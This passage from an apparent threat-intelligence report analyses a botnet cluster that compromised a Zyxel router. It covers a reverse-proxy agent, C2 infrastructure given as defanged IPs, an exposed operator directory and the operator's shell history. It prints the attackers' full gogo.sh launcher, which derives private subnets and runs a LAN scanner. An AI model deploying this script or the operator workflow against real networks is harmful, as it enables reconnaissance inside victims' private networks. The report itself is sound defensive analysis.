    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ip_hostnames&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;MerryIoTHotspotV&amp;lt;redacted_suffix&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ram_size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;63&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;user_ip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;redacted_victim_ip&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Meta&lt;/code&gt; block deserves a second look. The agent registers the device as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MerryIoTHotspot&lt;/code&gt; with four CPUs and 63 GB of RAM. Our device is a Zyxel NSG100. Whatever produces this metadata is not reading it from the host it runs on, which limits how far provider-side device classification can be trusted for this kind of enrollment.&lt;/p&gt;

&lt;p&gt;Runtime memory also contained &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;access_token&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;available_ip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;available_port&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server_ip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server_port&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traffic_sold&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forwarded-tcpip&lt;/code&gt;, and status messages such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hi&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;balance_ready&lt;/code&gt;. Those strings matter because they describe live reverse-proxy state: authentication material, assigned relay endpoints, traffic accounting, SSH tunnel forwarding, and readiness messages. This is state read out of a running process. The agent was relaying traffic while we observed it.&lt;/p&gt;

&lt;p&gt;We classify the runtime as an IPRoyal/Pawns-compatible reverse-proxy agent observed on the compromised Zyxel; exact lineage remains open.&lt;/p&gt;

&lt;h4 id=&quot;223-local-network-scanner-gogosh-and-gogo_linux_mips&quot;&gt;2.2.3 Local-Network Scanner: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;After the stager sequence had moved beyond the first Mirai/Gafgyt-like generation, we found another device-side capability: local-network scanning. On the controlled Zyxel, both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt; were present, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1.json&lt;/code&gt; contained scanner output from the private network reachable from the device.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; is a launcher. It changes into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;, removes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1.json&lt;/code&gt;, derives private RFC1918 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/24&lt;/code&gt; ranges from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifconfig&lt;/code&gt;, excludes loopback, and starts the scanner in the background:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp

&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /tmp/1.json

&lt;span class=&quot;nv&quot;&gt;IPS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;ifconfig | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/inet /{
  gsub(/addr:/, &quot;&quot;)
  split($2, a, &quot;.&quot;)
  print a[1]&quot;.&quot;a[2]&quot;.&quot;a[3]&quot;.0/24&quot;
}&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;127.0.0&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;\n&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Extracted IPs: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IPS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IPS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[-] No private IP found!&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;


/tmp/gogo_linux_mips &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IPS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; top2,win,db &lt;span class=&quot;nt&quot;&gt;-ev&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; 50 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /tmp/1.json &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output file is significant because it demonstrates execution, not only deployed capability. The recovered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1.json&lt;/code&gt; began with the scanner run configuration and contained 18 service findings across seven private RFC1918 hosts reachable from the controlled device. The findings included SSH, FTP, SMB/NetBIOS, HTTP/HTTPS services, and HTTP fingerprint matches consistent with Fortinet/FortiGate-style detections. The file confirms that the scanner enumerated live devices reachable from the compromised router.&lt;/p&gt;

&lt;p&gt;The scanner binary, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt;, is a stripped, statically linked MIPS big-endian Go executable. The filename, CLI shape, and port-profile flags are consistent with the public &lt;a href=&quot;https://github.com/chainreactors/gogo&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chainreactors/gogo&lt;/code&gt;&lt;/a&gt; scanner project, which describes itself as a controllable automated scanning engine for red teams. Strings indicate DNS, TCP, UDP, HTTP, and socket fingerprinting logic, including token/finger match concepts.&lt;/p&gt;

&lt;p&gt;The full sequence is therefore visible end to end: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; deployed to an infected device, private subnets derived from the device’s own interfaces, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt; run against selected service profiles, and JSON results written to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1.json&lt;/code&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;3-the-infrastructure-shift&quot;&gt;3. The Infrastructure Shift&lt;/h2&gt;

&lt;p&gt;The Zyxel evidence gave us concrete anchors for continued monitoring of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; cluster: staging hosts, tokenized delivery paths, decoded C2 configuration, recurring reinfection behavior, and the larger runtime launched on the device. The starting point for that monitoring was the C2 indicator shared through the trusted group described in &lt;a href=&quot;#1-from-low-volume-auth-activity-to-device-access&quot;&gt;Section 1&lt;/a&gt;. Using those anchors, we tracked four C2 and staging generations between December 2025 and our June 2026 monitoring window. Each generation surfaced the same way: the honeypot was re-infected, and the delivery logs and captured traffic named a new host.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Monitoring point&lt;/th&gt;
      &lt;th&gt;Host&lt;/th&gt;
      &lt;th&gt;What we saw&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Customer infection&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;38.180.190[.]115&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Relevant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; staging and C2 address on the affected Zyxel.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Later follow-up&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;154.213.177[.]40&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Similar activity continued on a later host.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Early April 2026&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13.210.186[.]13&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;The same cluster continued from another host.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Later monitoring&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;94.74.85[.]247&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Continued staging behavior; a later DNS check resolved &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sd.clubde[.]xyz&lt;/code&gt; to this host.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;At some transition points, old and new infrastructure connections briefly overlapped. We therefore treated these hosts as adjacent generations of the same cluster, while keeping each observation tied to the behavior seen on that specific host.&lt;/p&gt;

&lt;p&gt;During April 2026, the host &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13.210.186[.]13&lt;/code&gt; changed the scope of the analysis because routine validation showed exposure beyond a staging endpoint. Several services returned directory listings and revealed operator-side working directories. We use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dump&lt;/code&gt; throughout the rest of this report to refer to the collected copy of those exposed directories and files. By the time activity later moved to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;94.74.85[.]247&lt;/code&gt;, that additional exposed surface was no longer available.&lt;/p&gt;

&lt;p&gt;A note on collection: everything described below came from services that returned directory listings to unauthenticated HTTP requests. We used no credentials, exploited no vulnerability, and wrote nothing to the host. The recovered binaries and databases were analyzed and executed in a network-isolated lab.&lt;/p&gt;

&lt;p&gt;The dump itself was not a single clean generation of tooling. It contained multiple versions and several references to the earlier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;38.180.190[.]115&lt;/code&gt; infrastructure. Based on the later device and honeypot observations, we treat those &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;38.180.190[.]115&lt;/code&gt;-referencing binaries as older generation artifacts that were likely no longer the active delivery path when the dump was collected.&lt;/p&gt;

&lt;p&gt;Observed exposed service categories on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13.210.186[.]13&lt;/code&gt; included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SSH&lt;/li&gt;
  &lt;li&gt;plain HTTP staging&lt;/li&gt;
  &lt;li&gt;Python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SimpleHTTPServer&lt;/code&gt; directory listings&lt;/li&gt;
  &lt;li&gt;Go &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/http&lt;/code&gt; services&lt;/li&gt;
  &lt;li&gt;PHP CLI server&lt;/li&gt;
  &lt;li&gt;Uvicorn&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some services behaved like staging endpoints and directly served MIPS payloads. Additional exposed services provided access to broader directory listings, revealing further portions of the operator working directories. The following section details the recovered artifacts and the evidence connecting server-side files with activity observed on the compromised device.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;4-what-was-exposed&quot;&gt;4. What Was Exposed&lt;/h2&gt;

&lt;p&gt;The exposed host revealed an operator working directory rather than a clean release package or isolated malware repository. The recovered material included overlapping component generations, copied binaries, SQLite state, task output, upload directories, temporary payloads, scan results, development artifacts, and operational tooling.&lt;/p&gt;

&lt;p&gt;The most relevant recovered areas combined C2 framework components, staging services, operator-side scan tooling, and workflow artifacts. Several of these components implement &lt;em&gt;tasking&lt;/em&gt;: an operator sends a command to an implant and later collects the result, typically as a stored task/result record rather than an interactive shell session.&lt;/p&gt;

&lt;p&gt;Database note: within the recovered frameworks, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bdb&lt;/code&gt; files were used as SQLite victim or node inventories (backed by tables literally named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clients&lt;/code&gt; in the recovered schemas), while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cdb&lt;/code&gt; files were used as SQLite listener or configuration stores. Schemas varied by component and generation, so treat these extensions as conventions local to this toolset.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artifact&lt;/th&gt;
      &lt;th&gt;Notable contents&lt;/th&gt;
      &lt;th&gt;Working interpretation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;es&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;beacons.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plugins.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts_upload/gogo*&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;TeamServer-style framework with node/listener databases, beacon/plugin material, file/post services, and the LAN scanner pair.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2new/c18&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2old/c2_old&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;es_new&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;task_results/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fserver/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnslog/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Broad C2 and support framework covering victim state, listener surfaces, tasking, result processing, short-token file delivery, DNSLog support, and MIPS utilities.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vscode-server/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Remote-SSH server files, edited tooling, terminal/session logs, tunnel/client traces&lt;/td&gt;
      &lt;td&gt;Operator workflow evidence from VS Code Remote; not malware by itself.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;#5-shell-history-how-the-exposed-host-was-operated&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bash_history&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Interactive shell commands for setup, service management, archive extraction, staging, and runtime checks&lt;/td&gt;
      &lt;td&gt;Host-level operator workflow evidence separate from the VS Code Remote artifacts.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnslog/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httplog/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;DNS callback logging, HTTP token logging, check/debug endpoints&lt;/td&gt;
      &lt;td&gt;Callback and token-verification tooling used around staging and task workflows.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Router/web-target payload samples and staging scripts&lt;/td&gt;
      &lt;td&gt;Payload samples and download/staging helpers.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Host lists, sorted scan results, Python virtualenv, helper scripts&lt;/td&gt;
      &lt;td&gt;Operator-side external scan output and enrichment tooling; despite the folder name, it was not simply a copy of real &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Standalone MIPS ELF sibling of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df&lt;/code&gt; utility&lt;/td&gt;
      &lt;td&gt;Config-varied sibling of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/mips&lt;/code&gt; with the same connection-state utility role, related to the early &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;83ef&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2e89&lt;/code&gt; utility line.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Standalone &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts&lt;/code&gt; binary, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ko.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plugins.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Related standalone TeamServer build; unpacked Go metadata referenced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;teamserver (devel)&lt;/code&gt;, and the bundle shared core TeamServer roles with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt; while remaining distinct by hash and feature surface.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Root-level artifacts&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c18&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1111&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ddd&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move.taar&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Mixed runtime state, copied binaries, launchers, and an imported framework archive.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The table above is intended as an operational map of the exposed environment rather than a full technical breakdown. We conducted substantially deeper component-level analysis of the recovered frameworks, databases, protocol handling, payload containers, tasking logic, VS Code Remote traces, and supporting tooling. We are open to technical exchange with interested defenders, researchers, and trusted partners where additional detail would support validation, detection, or follow-up analysis.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;5-shell-history-how-the-exposed-host-was-operated&quot;&gt;5. Shell History: How the Exposed Host Was Operated&lt;/h2&gt;

&lt;p&gt;The recovered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bash_history&lt;/code&gt; provided host-level evidence of operator workflow. The command history captured interactive setup and administration of the exposed C2 host, rather than activity generated by an implant or automated script.&lt;/p&gt;

&lt;p&gt;High-signal command clusters include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SSH hardening or access changes: edits to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ssh/sshd_config&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PasswordAuthentication&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;60-cloudimg-settings.conf&lt;/code&gt;, and repeated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl restart ssh&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Long-running component management through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen&lt;/code&gt;: sessions named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2old&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;es&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnslog&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tftp&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;es1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs1&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httplog&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Archive/deployment activity: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar -xf move.taar&lt;/code&gt;, removal and re-extraction of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/&lt;/code&gt;, and later copying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;beacons.bin&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plugins.bin&lt;/code&gt; between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uploads/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts_upload/&lt;/code&gt;, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt; root.&lt;/li&gt;
  &lt;li&gt;Tooling and service workspace setup: creation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnslog/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httplog/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;TFTP setup and troubleshooting: installation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tftpd-hpa&lt;/code&gt;, edits to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/default/tftpd-hpa&lt;/code&gt;, attempts to log TFTP activity, and repeated checks of UDP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:69&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;HTTP staging: PHP and Python HTTP servers on non-standard ports, including attempts under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;totolink/asp/&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/tstmp/&lt;/code&gt;.&lt;/li&gt;
